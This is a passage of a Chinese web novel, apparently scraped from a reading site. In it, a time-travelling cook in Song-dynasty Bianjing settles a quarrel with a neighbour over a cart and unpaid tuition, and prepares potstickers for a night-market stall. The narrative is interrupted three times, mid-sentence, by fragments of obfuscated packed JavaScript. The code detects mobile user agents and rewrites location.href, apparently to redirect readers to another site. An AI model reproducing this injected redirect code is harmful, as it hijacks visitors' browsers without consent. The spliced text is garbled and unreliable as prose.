娘俩忙活个不停，其他人也没偷懒。姜老爹已经起锅下油，自告奋勇煎盒子。 姜宝琦一直守在灶旁，随时调整火候大小。 待油烧热，姜明远依次拿起四个包好的韭菜盒子，小心翼翼放入油锅。 小火慢煎，估摸着时候差不多了，姜宝珠道：“爹爹将韭饼翻个面罢，再加盖，略闷片刻。” “得令！” 煎定型的韭菜盒子很好翻面，姜老爹放下锅铲，又听话地拿木盖扣住锅。 这盒子皮薄馅厚，出了水蒸气，才能将内馅全部蒸透。 不多时，韭菜的油香便钻出锅盖，一路飘到灶房外。 “起锅喽！”姜宝珠提醒道，手上包盒子的动作未停，“爹娘先吃罢，这韭饼凉了便软塌。” 姜明远早就食指大动，倒是克制住了。锅铲盛出一个盒子放入木盘，他先递给蹲在灶旁的小女儿。 “琦儿先尝尝。” 刚出锅的韭菜盒子表皮酥脆，泛着金黄油光。小姑娘咽了咽口水，难得没跟长辈推让便接过盘子。 “咔嚓”一口咬下去，油汤和香气都淌出来。 姜宝琦被烫得舌头一缩，愣是没松口：“好……好香！” 她这一声好似冲锋的号角，其余三人纷纷拿盘提筷。 一锅四个韭菜盒子，正好每人分得一个。 吹了吹冒热气的饼皮，姜宝珠缓缓咬下一小口。 唔，还不错嘛！ 韭菜辛香，粉条筋道，鸡蛋松软，虾米咸鲜，口感和味道都相当丰富。 姜宝珠偏爱面食，不论包子饺子，各类浇头的面条，亦或春饼卷菜，她都喜欢——一口将主食与菜肉同时纳入嘴中，味蕾和肠胃都有种踏实的饱足感…… 吃过几口，姜宝珠抬眼打量过于安静的家人。 与昨日吃冷淘时的盛赞不一样，家里人这会儿只捧着盘子埋头苦吃，一声不吭——真碰上喜欢吃的，谁还顾得上说话啊！ 直到盘里一粒韭碎都不剩，几人放下筷子，重新忙活起来：擀面皮的擀面皮，煎盒子的煎盒子。 看这急冲冲的架势，下一锅韭菜盒子怕都不用盘子盛，从锅中出来就进嘴里…… 付惜音边捏盒子花边边问女儿：“珠姐儿，你是如何想到添索粉碎的？比那王婆加羊脂——” “那王婆便是加羊头肉，也比不上咱珠儿这一手！”姜明远抢过话道，说着他又咂了咂唇，回味无穷。 “爹爹活了四十余载，今日才知这韭菜竟如此美味！我看，不如咱家院头也种些韭菜——” 他大手一挥指前院：“都说‘春韭贵过油，秋韭胜过肉’——咱珠儿这韭饼，呵，不论春秋，总胜八珍！” 姜宝珠“噗嗤”笑出来。 怪就怪这科举考的是诗赋策论之类，若考佳肴品鉴，写美食测评，她爹怕早就连中三元了吧…… 眼眸动了动，姜宝珠笑眯眯开口：“爹爹，女儿这韭饼，不比那金梁桥王婆的差吧？” “自然！”姜明远挺胸道，“我珠儿更胜一筹！” 等的便是这句话。 “那——”姜宝珠放下擀面杖，“我也去夜市摆摊试试，如何？” 7. 韭菜盒子 姜宝珠这两日一直在铺垫——原身是个十指不沾阳春水的，若直愣愣跟家里人说要去摆摊卖小吃，怕怎么都讲不通。 因此，她又做冷淘又煎盒子，还特意当着姜老爹的面博了郑参军夸奖——到这份儿上，他们总该信她是有两把刷子的吧？ 谁知姜宝珠话音刚落，所有人脸色都一僵。 姜明远与付惜音对视一眼，都惊得说不出话来。 最后还是姜宝琦先开口：“三姐姐……” 她若有所思的：“你是想要卖这韭饼？” “不拘是韭饼，也能是旁的。”姜宝珠回答，她又转向爹娘继续道，“那夜市里不论卖什么吃，只要味道好，总能赚些钱。” “我的手艺，爹娘也知晓了。来日我再精练厨艺，总能撑起个食摊的。” “……” 姜家两口子又互相看了一眼，嘴唇动了动，谁都没接话。 加盖的铁锅蹦出“滋滋”油声，姜明远盛出熟透的韭菜盒子放到一旁，缓声开口：“珠儿手艺没得说，爹自是知晓。只是……这摆摊做生意，不是单味道好，便能成事的。” “是啊。”付惜音接话，“你可还记得隔壁方婶子前几年卖卤货那事？她那卤汁还是祖传的好滋味，最后不也没经营起来么……” 隔壁方婶子便是吴大郎他娘，前些年生下他们家三小子后，她想多些进项，便盘算着卖家传卤货。为此，还特意在临街房上开了商窗。 谁知她那街坊四邻都称道的卤货压根卖不动，没几日，那小窗便又封回去了…… “咱家往上三代也没个商户，不懂那生意经，更不通门路。”姜明远叹出一声，“珠儿，你莫将那摆摊营生想得忒容易了……” “我知晓爹爹顾虑。”姜宝珠耐下性子，不急不缓解释，“只是女儿早已及笄，也算有一技之长，便想为爹娘分忧，为家中添些进项——” “你莫忧心银钱之事！”姜家夫妇几乎异口同声。 “自己身子才最要紧。”姜明远语重心长道，“如今你大病初愈，合该好生在家将养。” “你爹爹说的是！”付惜音附和官人道，顿了下，她又言辞闪烁，“总归是体弱女儿家，市集抛头露面，给那嚼舌根的瞧去，又该说闲话了……” 姜宝珠心头重重一沉。 看来是很难说服他们了。 如今她本就为人说道，再去摆摊更成谈资。爹娘最在意体面，自然接受不了…… 抿抿唇还想再争取一下，墙外突然暴起一声怒喝：“……我便晓得你是为那姜三娘！” “姜三娘”三个字令姜宝珠心头一跳，她拔脚往灶房外走。 一墙之隔，邻家的争吵声愈发清晰：“你爹在铺子里累如牛马，你不去帮工，倒为那姜家姐儿白出力——你莫不是给驴踢坏了脑子？！” “娘，你嚷甚么！”吴大郎压着嗓子驳她，“都说了这是葛老伯铺子里现成的——” “我看你才是现成的夯货！这事儿得说道明白——姜相公！” 那方婶子冲着院墙扬声便喊：“付娘子——他婶子！” 她尖锐的声音渐远又近，下一刻，姜家院门被“咚咚”拍响。 “可有人在家？” 姜宝珠正要去开门，她阿娘忽而一个箭步赶上前，护崽母鸡似的将她挡在身后。 付惜音脸色不太好，门开后还是客气的：“方娘子，何事如此急切？” 姜宝珠一眼便瞧见方婶子身后的家伙什儿——不正是她心心念念的推车么！ 吴大郎紧随其后，一张黑脸涨得通红。他窘迫地看了眼姜宝珠，使劲扯他娘衣袖。 方婶子没好气甩开儿子，面上也挂起笑：“他婶子，你有事寻我直说便是，何苦要小辈忙前跑后？” 付惜音眉梢一挑：“方娘子此话怎讲？” “付婶子，我娘她——”吴大郎刚抢白，便被方婶子一个眼刀狠狠瞪回去。她侧身，亮出后面的推车。 “喏，与你们送来了。”她眼珠子在姜家夫妇身上扫了扫，“可是……要摆摊卖甚么？” 付惜音怔住，思及女儿方才说的，很快反应过来。 “家中人闲话一句罢了，左右还没定夺……” 方婶子干巴巴笑出一声：“你这一句闲话，我家傻大郎倒跑断腿喽……” 慢悠悠抽出手帕，她才继续道：“嗐，他爹这几日忙似鬼，特叫大郎今日早去帮工。谁知他人还没到铺子，倒先寻了个推车回来！” “他婶子，你瞧瞧——他爹急得铁锤都抡冒烟，大郎倒有功夫在家细细刻字——” 方婶子指尖一点，众人便见那推车手柄上刻着一个“姜”字。 “……” 付惜音微赧，正要开口说什么，方婶子又抢先道：“我也没旁的意思，舟哥儿不在，大郎合该给你们出出力气。只是……” 她顿住，眼中转出两分精明：“到底是两家人，这账目，也该分明不是？” “娘！”吴大郎急切高声，“这车是我赠与三妹妹的——” “住口！”方婶子厉声白了他一眼，“你充什么员外？卖力气挣的银钱，合该攒着聘媳妇儿！” “聘媳妇儿”这话一出，吴大郎脸色骤变。 方婶子得意抿唇。 这傻大郎什么心思，为娘的岂不知？ 说心里话，她本就不情愿姜家女进门——这珠姐儿娇养坏了，女红下灶一概不通，迎进门也难为人妇。 哦，她还体弱，往后怕是还不好生养。 可她家大郎被一副好皮囊迷昏了头，一门心思想娶人家当媳妇儿。 他爹还帮忙劝着，说与姜家结亲未尝不可：姜书手是秀才，舟哥儿也在苦读，来日若榜上提名，还能不帮衬妹子一家？ ——那他们吴姓的便不用再做铁匠了啊！ 前些年他们逼着二郎三郎去姜家蹭书听课，不也是在做改门换第的美梦么？ 方婶子听罢豁然开朗，便任大郎继续给珠姐儿献殷勤去了。 本想观望着提亲，谁知那舟哥儿忽地不读书了，与他爹大吵一架后离家而去。 珠姐儿更荒唐，竟去与那新婚的林家哥儿夜半私会，简直不知廉耻！ 她今儿不是非要这推车钱，不过借机断了大郎念想，也让这街坊四邻都听明白了：他们吴家与姜家，断无结亲可能！ 方婶子借题发挥，说话丝毫不顾人脸面，好似这姜家是一门泼皮无赖，有意讹他家钱似的。 本就钱袋空空的姜明远给人戳了痛处，铁青着脸说不出话。付惜音面色也很难看。 姜宝珠款步上前，不动声色挡住双亲窘态，冷脸挂上笑靥：“方婶子所言极是。赚钱不易，账目之事，最该分明。” “三，三妹妹！”见她出来说话，吴大郎赶忙开口，“你无需——” “吴大哥。”姜宝珠笑盈盈打断他，“你还是唤我‘姜三娘’罢。” “也怨我不见外。”她面露懊恼，“吴大哥与我兄长同唤三妹妹，我便将吴大哥视为亲长兄，难免怠慢。” “……” “亲长兄”三字让吴大郎如闻霹雳，他嘴唇抖了抖，再说不出话来。 姜宝珠自顾自摸腰间荷包：“原想去那葛老伯处交割，不料吴大哥如此热心——婶子，你可知这灶车作价几何？” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16488886|185764||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >方婶子眉毛动了动。 没成想这珠姐儿也是个利落人儿，三言两语便和他们划清了关系。 她脸色稍缓：“葛木匠那铺子我熟，一副灶车最少也需四百文，这还是上好的黄杨木……罢！你且与我四百文便好。” 说得好像承了她多大情似的。 姜宝珠打开荷包，麻利数出钱来：“怎好让吴大哥白贴力气——这是五百文，谢过婶子了。” 方婶子不由怔愣。 姜家一年到头也存不下几个子儿，如今姜秀才丢了衙门职务，都落到摆摊的地步了。这……哪来的余钱？ 下一刻她又不纠结了——随他们拿家底儿，亦或房赁钱充体面吧。这钱既到眼前，便没有不收的道理。 方婶子哂笑着接过铜币：“珠姐儿客气。如此，我们便告辞了。” 她扯过吴大郎胳膊往外走，还没出门又被叫住—— “婶子留步！” 瞧见巷内各户探过来的视线，姜宝珠半点不怯，声音反提高两分。 “婶子家账目已明了，我家的，可还没理清呢。” 方婶子诧异回头：“此话怎讲？我家何曾欠过你们？” 姜宝珠轻笑：“婶子当真忘了？你家二郎三郎得我爹爹教引一整岁，末了还赴考童子试。虽说一人未中，可这束脩……总不该短我爹爹的呀。” 方婶子错愕片刻，脸上很快堆起笑来：“我当是甚么……珠姐儿怕是记岔了吧？你爹爹那会儿是教舟哥儿读书，我二郎三郎不过作陪——这一人是教，三人也是教，怎还要束脩……” “婶子此言差矣！”姜宝珠面色倏地冷下来。 “我大哥哥年幼开蒙，你二郎三郎十岁上大字不识，三人何以同读？如今二郎熟读四书，三郎做对子都不在话下，足见我爹爹费心良多！” 她句句属实，方婶子一时无言以对：“可、这……” 姜宝珠继续道：“婶子有所不知，你二郎三郎‘作陪’那些日子，也有叔婶想引自家哥儿拜爹爹为师——带着束脩来的！爹爹却回绝了他们，说家中已教三人，难有余力再收徒了……” “我记起来了！”门外有邻家窃窃私语，“正是我小姑婆家小女儿她夫婿堂弟那侄儿，来寻姜秀才那回我还瞧见了哩！” “我也见了。”有人接话道，“原以为这吴二郎三郎是为童子试拜姜秀才做先生的，谁知竟没交束脩么……” “……” 方婶子的面色在议论声里涨红又变紫。 姜宝珠冷笑了下，正欲再添一把火，肩头忽而被人安抚拍了拍。 姜明远走到女儿身边，喟然叹出口气：“当初，我念二郎三郎苦读上进，也为全了我们两家为邻的情谊，莫说收束脩，便是那笔墨纸砚，也随他们取用……” ——为这，他可没少被娘子念叨，到底还是放不下脸面提钱。 可人家今日上门来戳他脊梁骨，还话里话外瞧不上珠儿，那他还顾及甚么情面？ 豁出这张老脸，也要争一口气回来！ 姜明远冷冷抬眸：“如今方娘子既要账目清明，二郎三郎之束脩，也请一并补还罢！” “……” 手里刚得的五百文还没焐热，反要贴回去一大笔，方婶子心都在滴血。 可她情理皆不占，众目睽睽之下辨无可辨，最后只黑着脸憋出一句：“秀才且算钱罢！” “不是我们的，一文不要；该得的，一文不可少！”怕清高爹爹羞于计较，姜宝珠抢先接过话。 “便依书铺那王塾师所收束脩：每人每年二千钱，共四贯——” 她幽幽一笑：“婶子，拿钱出来罢？” 8. 摆摊准备 听见“共四贯”，方婶子瞪大眼猛吸了口气，迟迟没反应。 “方娘子还有账目要清？”付惜音开口，唇角噙出讥诮，“可要将我月子里你赠的鸡子，中秋时我与你的广寒糕也一并算入？” “……” 方婶子羞恼至极：“你就这般等不及？我还能赖账不成！” 说罢她扭身愤愤离去。吴大郎神色复杂地看了姜宝珠一眼，也随他娘离开了。 不多时，方婶子独自回来。 将沉甸甸四贯钱往付惜音身前一扔，她近乎咬牙切齿：“他婶子，可拿好了！” 姜宝珠眼疾手快，稳稳托住钱：“有劳方婶子。” “……” 方婶子几欲呕出血来。 铁铺虽不缺生意，可她素来节约，买块骨头都要煲三回汤，如今一下抠出四贯钱，不亚于剜肉！ 更可气的是这姜家丫头，怎变得这般伶牙俐齿，字字句句压得她抬不起头…… “珠姐儿病过一场，竟长了如此赚钱本事呢！” 钱是要不回来了，怄的这口气总得泄出来——抱着扳回颜面的决心，方婶子阴阳怪气的：“姜秀才何苦忧心没前途，尽可指着女儿进项喽。” 付惜音抬眼瞧她，柳眉踢竖：“甚么赚钱本事？” 旁人辱她尚能忍，若编排到官人子女身上，她可是要吃人的。 “你莫不是泔水吃多了？臭嘴烂舌的瞎嚼甚么呢！” 姜宝珠连忙拉住暴怒的母亲，笑眯眯道：“婶子说的是！” 付惜音与方婶子同时怔然。 姜宝珠徐步至门边，将灶车推进家来：“我近来厨艺确有长进。” “便借婶子吉言——待我撑起食摊，定生意兴隆，财源不断！” - 摆食摊的事便这样定下来。 让姜宝珠颇意外的是，她阿娘和爹爹对此再无半个“不”字，不仅要拿出刚到手的四贯钱鼎力助她，连她荷包里那些钱是如何来的也没追问——想是也猜到一二吧…… 姜宝珠不知道，她爹娘这两日也是思虑良多：姜明远昨日从书铺急燎燎回来，立马与娘子谈起珠儿厨艺大增之事。 两人在被窝里琢磨了一夜，也没琢磨出所以然来，便决意去烧香——怕是祖宗显灵了！ 谁料大相国寺还没来得及去，这方婶子便来家里搭戏台了。 闹完这么一场，夫妇俩也确信了：先人托梦点化厨艺是真，更要紧的是他们珠儿已然改头换面，开始发奋了！ 熬过病榻，挨过污名，还被媒婆与邻家上门来戳脊梁——这桩桩件件落哪个身上，哪个都要身心重创，性情大变的。 可他们珠儿是个好样的，没有一蹶不振，反倒刚强起来——旁人愈是奚落，她便愈要活给他们看！ 这不，连心爱的首饰都偷偷当了…… 女儿如此争气，他们做父母的又岂能让人看笑话。 如今满巷都听到姜家三娘要摆食摊，便任她做罢。 以往不还说要信她，护她吗？ 现今便该他们保驾护犊了！ 因此，当姜宝珠将那四贯钱交给母亲后，付惜音与官人对望一眼，又将钱串推回女儿手里。 姜宝珠自然是不要的。这些钱留着交房赁更好，她荷包里还剩一贯半，尽够使了。 于是接下来三天，姜宝珠都在为摆摊做准备。 有一说一，吴大郎寻的这灶车确是好物：双层双轮车，下层可以放泥炉和食材，上面除了搭锅，还有大大小小的凹槽盛放各类调料。 上层是中空的，有抽屉，还能一截折叠木板来备菜，她一人用起来绰绰有余。 灶车进家当日，姜明远便照着尺寸买了一把大油伞回来——那夜市摆摊几乎人手一把，摊子大些的，还会搭个像样的草檐。 付惜音穿针引线，很快为伞檐添了一圈雅致的花边。她还拆了陪嫁被面上的孔雀线，翻出做衣裳都舍不得用的布料，在上头绣了一个波光粼粼的“姜”字。 不论做什么生意，挂一面带名号的布幌都是必须的，即是招牌，也是门面。 女儿还没确定卖什么，付惜音便在“姜”字下面绣了好好几种图样：冒热气的汤饼，色泽鲜亮的鱼脍，带火星的炙肉串…… 凭她的绣工，呵，绝非自吹，路过的人即便不卖，也定回头多看几眼…… 爹娘都在家忙活，姜宝珠也没闲着。工欲善其事必先利其器，她眼下最紧要的任务，便是为自己置办一套趁手的炊具。 预算很有限，锅铲碗筷那些可以先用家中现成的，可身为厨子，不能没有一把趁手的菜刀。 姜宝珠花一晌午功夫逛了五家铺子，总算买到一把称心如意的：这是把正儿八经的中式老菜刀，也叫“文武刀”。 后世有言“中餐厨师一刀走天下”，这“一刀”，说的便是文武刀：刀尖剖肉，刀背剁骨，刀身拍蒜。拍完把蒜碎往刀面一推，再用刀托着往锅里一扔—— 干脆利落极了！ 姜宝珠举着菜刀跟掌柜的杀价杀到口干舌燥，原价一把一百五十文，最终一百一十五文拿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16488887|185764||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下。 除了刀，她还需要一口能嵌进灶车的锅。锅比刀贵不少，无论是现货还是定制，作价最少四五百文，甚至还有跟她要价八百，一千钱的！ 姜宝珠听完掉头就走，回家后在柴房里翻出一口烧漏底的废锅。 她和琦儿一同拖着这口旧锅去了铁铺（不是吴大郎家的），铁匠很快补好锅，又照她要求敲成了平底。 一口大肚子平底锅，炒、煎、煮、蒸都能应对，才不到二百文！ 锅具准备全乎了，姜宝珠又赶了个早市，将市面上常用的调料买了个遍，顺带填满了家中的米缸面袋。 她还去了趟衙门。夜市摆摊虽然不用租金，但须向官府交免行钱，每月每户三百文。 除此之外，摆摊每日还要交两文钱的“垃圾处理费”。 终于，该花的钱都花完，一切所需置办完毕，姜宝珠荷包里居然还剩下几百文——将好用来买食材。 要做什么呢？ 姜宝珠站在装备完毕的灶车前，迟迟拿不定主意。 上辈子她可谓博览一众穿越小说。小说里，女主挖野菜发家，卤下水惊艳四方——看的时候相当过瘾，如今身处异世才发现，哪有那么容易嘛！ 大宋商业经济繁荣，饮食文化同样发达。宋人奇细蔬果，山珍海味什么都吃，烹调技术也样样精通。 汴京的餐饮业可以说是卷不胜卷——光樊楼那样的豪华大酒楼便有七十二座，各类食肆，小摊更是遍地开花，味道各家有各家的考究，服务却是一致的好。 总归一句话：这里的人吃过好的，更见过好的，想要征服他们的胃，绝非易事。 姜宝珠很想亮出点真本事来，可头痛的是，后世许多常见食材与调料，此时还都未引入，比如辣椒——要再等四百年，明朝末时才会现身南方沿海地区。 还有一切美洲作物也都别想了：番茄，红薯，玉米，花生，以及土豆通通没有——一想到这些姜宝珠就心痛，作为麦门忠实信徒的她，这一世怕是没机会用薯条蘸番茄酱了…… 抛开吃不上麻辣烫和薯条的遗憾，姜宝珠继续梳理思路： 首先，要用现有的食材，做出让人耳目一新的美食； 但不能猎奇，就算她有本事调出可乐来，也不会有人想喝“中药”吧。所以一定是市井大众都能接受的食物，外加一点创新。 定价须平常——成本高了她负担不起，夜市摆摊也没那么多豪客…… 姜宝珠敲打灶车的手指忽而停住。 心中已然有了主意。 9. 活鱼锅贴 六月初八，宜开业。 前些天采买，日日赶早，姜宝珠今儿特意睡足了才起床。 对镜梳好懒髻，颊面轻扫胭脂，唇点口脂——这还是她穿过来后头一回化妆。 妆面素雅清淡，只求图个好彩头，添些仪式感。 梳妆完毕，姜宝珠又拿过昨日新做的衬裤。 宋人穿裤子不可谓不繁琐：先穿开档裤（后腰开叉），再穿合裆裤（两侧开叉），若穿裙子的话，等于又加了一层。 再加上衣垂下来的褙子或对襟衫，可真是里三层外三层了。 这里的裤腰裙腰以系带为主，穿脱都不方便——怪不得上厕所要说“更衣”呢，是真要穿穿脱脱才能如厕啊。 姜宝珠穿过来后苦“更衣”久矣。前两日在布料行瞧见一字扣后，她立马买了一些回家，将常穿的几条裙裤腰身全改成系扣或抽绳形式的——比不上后世的松紧带方便，到底也能省一些功夫。 随后，她又拆了两件旧衣服，用布料给自己缝制了一条针脚粗糙，但不分叉也不露屁股的贴身长裤——便是上辈子常穿的阔腿衬裤了。 如今她衬裤外直接穿百迭裙，上衣选择窄袖短衫，走起路来都轻快许多——这才是咱摆摊人的好衣服嘛！ 走出厢房，院明几净，家里人早早起来了。 她阿娘坐在院中捏着针线，膝上搭着布幌，又在上面添了新花样——“姜”字头的两个点，竟给她绣成了两颗圆润饱满的珍珠。 琦姐儿拿着一块抹布，来来回回擦拭着早一尘不染的灶车。 今日开张，她们好似更紧张些。 见姜宝珠出来，付惜音扬手指身旁菜篮：“珠姐儿来瞧瞧还缺甚么？都是早市上顶新鲜的！” 姜宝珠走过去翻了翻，看见芹菜，韭菜，葱，姜，葫蒜（大蒜），还都带着泥，挂着水珠。 “齐全啦。”姜宝珠笑道，“有劳阿娘！” 她今日赖床，爹爹和阿娘便担了采买任务，一个去东边赶早市，一个往北买肉食——咦，爹爹怎还没回来？ “三姐姐——”姜宝琦也凑近打量食材，“你可想好要做甚么？” 与爹娘不同，打听见姐姐想摆摊，姜宝琦便从心底万分赞同。 昨日三姐姐舌战那泼婶子时，她看似全程神游，实则满脑子全是如何帮厨…… 今日三姐姐迟迟不起，她生怕她临阵退缩，急得将推车擦过一遍又一遍…… 小姑娘问：“要么，还做昨日那韭饼？” 姜宝珠正要回答，院门忽被推开。进来的人提着两个菜篮，笑容满面。 “你怎地才回来？”付惜音柔声埋怨道。 “我将那杀猪巷走了个遍。”姜明远笑呵呵将菜篮递与女儿，“珠儿，这肉可是你要的？三分肥腻七分精瘦。” 姜宝珠接过篮子，满意打量其中的猪后腿。 汴京每夜有数以万计的活猪赶入杀猪巷，这赶早的现宰鲜肉，品质没得说。 “还有这鱼——”姜明远将另一菜篮高高提起，显然是想卖个关子，“不妨猜猜，舍我几钱呐？” “约莫……一百文？”付惜音猜道。 “不止。”姜宝珠接过鱼在手里掂了掂，“怕要一百二十文？” 姜明远摇头，满面得意：“只消六十文！” 娘仨一惊，异口同声：“怎如此便宜？” 姜明远捋了捋胡须，摇头晃脑地讲起来：“我走了两家鱼虾摊，都恁贵！又见一家开在偏角……” 位置不好，自是得想法子促销的，那鱼摊摊主吆喝声震天：活鱼四十文一斤，死鱼只消十八文！ 牢记女儿“鱼要买鲜”的话，姜明远并无打算买死鱼，可路过鱼摊时目光一动，他又改了主意。 于是，在摊主从热切到冷淡，又逐渐转为怀疑的打量中，姜明远不为所动，在摊旁足足立了两刻，终于等到那摇摇晃晃的大鱼翻了肚。 摊主黑着脸，照十八文一斤的作价卖与了他…… “……” 听罢，姜宝珠与阿娘对视一眼，抿唇忍住笑：“爹爹真是……煞费苦心，快歇下喝口茶罢！” 六十文买到三斤多新鲜大鱼，姜明远只觉浑身得劲儿，恨不得去那鱼摊继续蹲守。 茶水抿了抿唇，他放下杯跟女儿走进灶房。 “珠儿可是要做鱼脍？那夜市走两步便有三家切鱼脍的，想是不好卖……不如卖鱼羹，如何？” 家里没有不爱鱼羹的，卖不出填自己人肚里，也不亏。 “不做鱼脍，也不卖鱼羹。”姜宝珠同样买了个关子，“爹爹再猜猜？” 姜明远眯了眯眼，没做声，静观女儿动作。 付惜音也揽着小女儿走进来。一家人好整以暇地瞧着姜宝珠下灶。 姜宝珠先将篮子里的菜洗净了，又拿出木盆和面袋。 不是刻意为之，可穿过来后做的几顿饭竟全是面食，原因无二：她就是个不折不扣的“面霸”。 大约是生长在面食大省的烙印，面食带给她的，远胜胃口饱足。上辈子当美食博主时，虽然也做过不少佛跳墙，烤鸭烤全羊那样的硬菜，但关掉镜头后，她总会为自己下一碗面。 面条裹着汤汁入口，再以很好消化的姿态落进胃袋，她浑身都暖起来，心上的褶皱也被熨平…… 面条面饼都做过了，这连麸面也越和越顺手：筷子伴随缓缓加入的温水在盆中快速搅动，没几下便出絮。 刚成形的面团很黏手，正好用来粘走盆底盆壁上的干粉。再坚持揉一会儿，就“三光”了——手上光洁无面，盆中洁净无粉，面团光滑细腻。 揉好的面加盖醒一会儿，姜宝珠开始处理鲜肉。 之前她还担心古人养猪像外国一样不施阉割，可那日书铺翻书时才知道，原来阉猪技术早在西周便有记载，到宋朝已是普遍做法。 没有骚猪困扰，剁肉馅都不嫌麻烦了，姜宝珠将猪后腿切成细条，一手提自己的文武刀，另手抡起家里的老铁刀，左右开弓剁起来。 蛮有节奏的铿锵声响彻灶房，没一会儿，案板上便出现均匀而细腻的肉糜。 肉馅放入盆里，加花椒粉，盐，沙糖，芝麻油与酱油调味，再打几个鸡蛋进去抓匀——此时的肉馅依旧干巴巴，口感一定不好，别急。 姜宝珠拿出大碗加入一小把花椒，再加姜片和葱段。热水冲进碗里，不怕烫的手无情蹂躏葱姜，等揉出汁水，再过滤掉花椒和葱姜。 葱姜水分次少量加进肉馅，手顺着一个方向快速搅打肉馅，直到肉馅将水完全吸收，吃透——这是后世做锅贴的老师傅教给姜宝珠的。 老师傅一斤馅能打一斤水进去，这样的锅贴，吃起来能不口口-爆汁么。 打好的肉馅同盆一起放井水里冷着，姜宝珠落下发酸的胳膊。不敢歇息，她又提起爹爹豁出脸买来的大鲤鱼。 锅贴是南北皆宜的面食，各地做法也不尽相同，光姜宝珠吃过的便有十余种：牛肉锅贴，三鲜锅贴，大虾锅贴，海兔锅贴，墨鱼锅贴……其中，她印象最深的，便是山东一县城的街边小店里吃过的活鱼锅贴。 老板每日采购新鲜活鱼，鱼肉制馅做锅贴，鱼骨鱼头熬高汤，排队进店的食客们连吃带喝，鲜掉眉毛！ 因此，理智告诉姜宝珠，头回摆摊一种馅料就够卖了，可念着那活鱼锅贴的滋味，她还是没忍住叫爹爹买了鱼回来…… 无妨。姜宝珠在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16488888|185764||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心里宽慰自己道：头回摆摊，总得秀出些本事来。这活鱼锅贴好味道，搞不好，真能助她在夜市打出名气呢！ 念及此，姜宝珠更打起十二分精神。 大鱼剁头去尾，刮净鱼鳞剖除内脏，再浸入方才剩下的葱姜水中，完全去除土腥味。 刀面贴着鱼骨，将鱼肉片下来，随后用勺子，将肉一点点从鱼皮上刮下来。越新鲜的鱼肉越紧实，越不好刮。 姜宝珠不急，慢条斯理地刮了两刻钟，最后案板上只余薄薄一层鱼皮，鱼泥中的刺也都剃干净了。 鱼泥加入姜末，花椒粉，盐，酱油和些许面粉水，与猪肉馅打水一样的手法，顺着一个方向猛打。直到鱼泥黏腻起胶，这鲜鱼肉馅便做好了。 鱼骨鱼肉也莫浪费，热锅加油下葱姜，鱼头两面稍煎一下就能加水——一定要加热水，这是鱼汤熬出奶白的关键。 水开转小火后，姜宝珠拿过菜切碎。芹菜加猪肉馅里，韭菜加鱼肉馅里——辛香韭菜加活鱼，鲜上加鲜！ 馅料准备完毕，面也醒好了。 看女儿揪出的面剂子比包韭饼小许多，付惜音反应过来：“可是……要做煎角儿？” 姜宝珠点头：“不错！” 大宋没有后世意义上的锅贴，煎角儿可算前身——包制方法和外形都与现代饺子一般无二，放在油锅里煎熟吃。 付惜音对官人对视一眼，两人每间浮现忧忡——这煎角儿夜市再常见不过，即便做出好滋味，终究不稀奇。 还不如那带裙边的韭饼，亦或五颜六色的冷淘…… 姜宝珠对父母的担忧一无所知，一心包锅贴。 锅贴包起来容易：面皮擀薄，馅料放上面对折，鱼肉馅的不用封死口，中间部分捏紧就行。 猪肉馅的可要封死了，否则这爆汁肉馅会淌得满锅都是。 猪肉鱼肉各一半，一共包了三十个左右，姜宝珠抬眼眺窗外——日头已经西沉了。 “阿娘，这些你们在家吃。”姜宝珠将包好的锅贴收进碟子，“还有这鱼羹，可以起锅啦！” 她没有卖鱼汤的打算，就是留给家里人喝的——客人有鱼有肉，自己人当然也要吃好喝好。 付惜音听出另外一层意思：“不是说好我和你爹爹与你同去吗——你莫不是要独去摆摊？” “是。”姜宝珠坚定道，又柔声解释，“阿娘，这摆摊非一日之事，我总要独自应对。再者，那摊位也容不下咱一家人啊！” 爹爹这几日尽帮她采买，书铺都没去。阿娘也是前前后后围着她转个不停。可摆摊是她想做的，下灶也只有她擅长。 一家人想把日子过好，总要各司所长，而不是时时搅和在一起…… 见阿娘犹疑不定，姜宝珠继续往她心里说：“隔壁方婶子这几日尽往夜市逛，怕不是等我去呢！咱家若一人不少立摊边，可不是给她搭戏看？” 付惜音蹙眉更甚，扭头瞧自家官人。 姜明远沉吟须臾，吁出口气：“便依你罢。只是珠儿——” 他一指装锅贴的盘子：“这角儿你带去摊上卖，余下我们再吃——不定不够卖呢！” 虽然觉得女儿这煎角儿生意不甚明朗，口上还是要助威的。 “是，生意要紧。”付惜音附和道，“家中还有你做韭饼使的索粉，搭鱼汤正合适！” 姜宝珠依了父母。锅贴上撒下薄薄一层面粉，她连盘一起装进灶车。 